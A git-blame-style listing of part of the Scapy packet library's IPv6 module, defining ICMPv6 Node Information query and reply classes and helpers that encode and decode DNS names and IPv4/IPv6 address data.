21190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Note : I merged getfield() and m2i(). m2i() should not be called
21200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#        directly anyway. Same remark for addfield() and i2m()
2121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
21220d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# -- arno
2123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# "The type of information present in the Data field of a query is
21250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#  declared by the ICMP Code, whereas the type of information in a
2126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#  Reply is determined by the Qtype"
2127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef names2dnsrepr(x):
2129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
2130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Take as input a list of DNS names or a single DNS name
2131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    and encode it in DNS format (with possible compression)
2132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If a string that is already a DNS name in DNS format
2133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    is passed, it is returned unmodified. Result is a string.
2134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    !!!  At the moment, compression is not implemented  !!!
2135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
21360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if type(x) is str:
21382a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        if x and x[-1] == b'\x00': # stupid heuristic
2139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = [x]
2141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
2143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    for n in x:
21442a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        termin = b"\x00"
2145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if n.count('.') == 0: # single-component gets one more
21462a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            termin += b'\x00'
2147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        n = "".join(map(lambda y: chr(len(y))+y, n.split("."))) + termin
2148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res.append(n)
2149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return "".join(res)
2150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef dnsrepr2names(x):
2153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
21540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    Take as input a DNS encoded string (possibly compressed)
2155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    and returns a list of DNS names contained in it.
2156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If provided string is already in printable format
2157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    (does not end with a null character, a one element list
2158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    is returned). Result is a list.
2159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
2160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
2161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    cur = ""
2162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while x:
2163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = ord(x[0])
2164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = x[1:]
2165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l == 0:
2166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if cur and cur[-1] == '.':
2167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cur = cur[:-1]
2168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(cur)
2169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur = ""
2170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if x and ord(x[0]) == 0: # single component
2171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = x[1:]
2172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            continue
2173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l & 0xc0: # XXX TODO : work on that -- arno
2174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            raise Exception("DNS message can't be compressed at this point!")
2175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur += x[:l]+"."
2177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = x[l:]
2178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
2179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryDataField(StrField):
2182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
2183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrField.__init__(self, name, default)
2184c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
2186c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1:
2190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = dnsrepr2names(val)[0]
2191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2193c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
2194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is tuple and type(x[0]) is int:
2195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        val = None
2198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try: # Try IPv6
2199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            inet_pton(socket.AF_INET6, x)
2200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = (0, x)
2201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
2202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try: # Try IPv4
2203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                inet_pton(socket.AF_INET, x)
2204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = (2, x)
2205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except: # Try DNS
2206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if x is None:
2207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    x = ""
2208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = names2dnsrepr(x)
2209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = (1, x)
2210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1: # DNS Name
22150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # we don't use dnsrepr2names() to deal with
2216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # possible weird data extracted info
2217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
2218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            weird = None
2219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while val:
22200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                l = ord(val[0])
2221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = val[1:]
2222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if l == 0:
2223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    if (len(res) > 1 and val): # fqdn with data behind
2224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        weird = val
2225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    elif len(val) > 1: # single label with data behind
2226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        weird = val[1:]
2227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
2228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append(val[:l]+".")
2229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = val[l:]
2230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = "".join(res)
2231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if tmp and tmp[-1] == '.':
2232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                tmp = tmp[:-1]
2233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return tmp
2234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return repr(val)
2235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        qtype = getattr(pkt, "qtype")
2238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 0: # NOOP
2239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (0, "")
2240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            code = getattr(pkt, "code")
2242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if code == 0:   # IPv6 Addr
2243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16]))
2244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif code == 2: # IPv4 Addr
2245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s[4:], (2, inet_ntop(socket.AF_INET, s[:4]))
2246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:           # Name or Unknown
2247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return "", (1, s)
2248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if ((type(val) is tuple and val[1] is None) or
2251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val is None):
2252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = (1, "")
2253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t = val[0]
2254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1:
2255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + val[1]
2256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 0:
2257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + inet_pton(socket.AF_INET6, val[1])
2258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + inet_pton(socket.AF_INET, val[1])
2260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryCodeField(ByteEnumField):
2262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = pkt.getfieldval("data")
2265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d is None:
2266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 0: # IPv6 address
2268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 0
2269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 1: # Name
2270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 2: # IPv4 address
2272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 2
2273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
2274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x
22760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"}
2279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#_niquery_flags = {  2: "All unicast addresses", 4: "IPv4 addresses",
22810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#                    8: "Link-local addresses", 16: "Site-local addresses",
2282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                   32: "Global addresses" }
2283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "This NI type has no defined flags and never has a Data Field". Used
2285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# to know if the destination is up and implements NI protocol.
22860d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):
2287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - NOOP Query"
2288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 139, icmp6types),
2289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIQueryCodeField("code", None, _niquery_code),
2290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortEnumField("qtype", 0, icmp6_niqtypes),
229277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("unused", 0, 10),
22930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    FlagsField("flags", 0, 6, "TACLSG"),
229477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    NonceField("nonce", None),
2295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIQueryDataField("data", None) ]
2296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
22970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryName(ICMPv6NIQueryNOOP):
2298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv6 Name Query"
22990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    qtype = 2
2300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We ask for the IPv6 address of the peer
2302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):
2303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv6 Address Query"
2304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 3
2305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    flags = 0x3E
2306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):
2308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv4 Address Query"
2309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 4
2310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_code = { 0: "Successful Reply",
23120d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                  1: "Response Refusal",
2313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  3: "Unknown query type" }
2314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_flags = {  1: "Reply set incomplete",
23160d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    2: "All unicast addresses",
23170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    4: "IPv4 addresses",
23180d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    8: "Link-local addresses",
23190d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   16: "Site-local addresses",
2320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   32: "Global addresses" }
2321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal repr is one of those :
2323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (0, "some string") : unknow qtype value are mapped to that one
2324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (3, [ (ttl, ip6), ... ])
23250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# (4, [ (ttl, ip4), ... ])
2326c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (2, [ttl, dns_names]) : dns_names is one string that contains
23270d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     all the DNS names. Internally it is kept ready to be sent
23280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     (undissected). i2repr() decode it for user. This is to
2329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     make build after dissection bijective.
2330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2331c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# I also merged getfield() and m2i(), and addfield() and i2m().
2332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIReplyDataField(StrField):
2333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2334c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
2335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2336c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2337c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2338c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 2:
2339c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl, dnsnames = val
2340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = [ttl] + dnsrepr2names(dnsnames)
2341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
23440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        qtype = 0 # We will decode it as string if not
2345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  # overridden through 'qtype' in pkt
2346c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2347c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # No user hint, let's use 'qtype' value for that purpose
2348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if type(x) is not tuple:
2349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if pkt is not None:
2350c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                qtype = getattr(pkt, "qtype")
2351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2352c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            qtype = x[0]
2353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = x[1]
2354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # From that point on, x is the value (second element of the tuple)
2356c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2357c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 2: # DNS name
2358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if type(x) is str: # listify the string
2359c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [x]
2360c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if type(x) is list and x and type(x[0]) is not int: # ttl was omitted : use 0
2361c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [0] + x
2362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl = x[0]
2363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            names = x[1:]
2364c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return (2, [ttl, names2dnsrepr(names)])
2365c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype in [3, 4]: # IPv4 or IPv6 addr
2367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if type(x) is str:
2368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [x] # User directly provided an IP, instead of list
2369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2370c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # List elements are not tuples, user probably
2371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # omitted ttl value : we will use 0 instead
2372c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            def addttl(x):
2373c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if type(x) is str:
2374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return (0, x)
2375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return x
2376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2377c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return (qtype, map(addttl, x))
2378c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2379c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return (qtype, x)
2380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2382c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,tmp = val
2384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if tmp is None:
2385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = ""
2386c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 2:
2387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl,dnsstr = tmp
2388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s+ struct.pack("!I", ttl) + dnsstr
2389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 3:
2390c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET6, y), tmp))
2391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 4:
2392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET, y), tmp))
2393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + tmp
23950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        code = getattr(pkt, "code")
2398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if code != 0:
2399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (0, "")
2400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        qtype = getattr(pkt, "qtype")
2402c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 0: # NOOP
2403c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (0, "")
2404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2405c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 2:
2406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if len(s) < 4:
2407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s, (0, "")
2408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl = struct.unpack("!I", s[:4])[0]
2409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "", (2, [ttl, s[4:]])
2410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 3: # IPv6 addresses with TTLs
2412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : get the real length
2413c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
2414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while len(s) >= 20: # 4 + 16
2415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl = struct.unpack("!I", s[:4])[0]
2416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ip  = inet_ntop(socket.AF_INET6, s[4:20])
2417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append((ttl, ip))
2418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s = s[20:]
2419c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (3, res)
2420c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2421c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 4: # IPv4 addresses with TTLs
2422c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : get the real length
2423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
24240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            while len(s) >= 8: # 4 + 4
2425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl = struct.unpack("!I", s[:4])[0]
2426c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ip  = inet_ntop(socket.AF_INET, s[4:8])
2427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append((ttl, ip))
2428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s = s[8:]
2429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (4, res)
2430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : implement me and deal with real length
2432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "", (0, s)
2433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "[]"
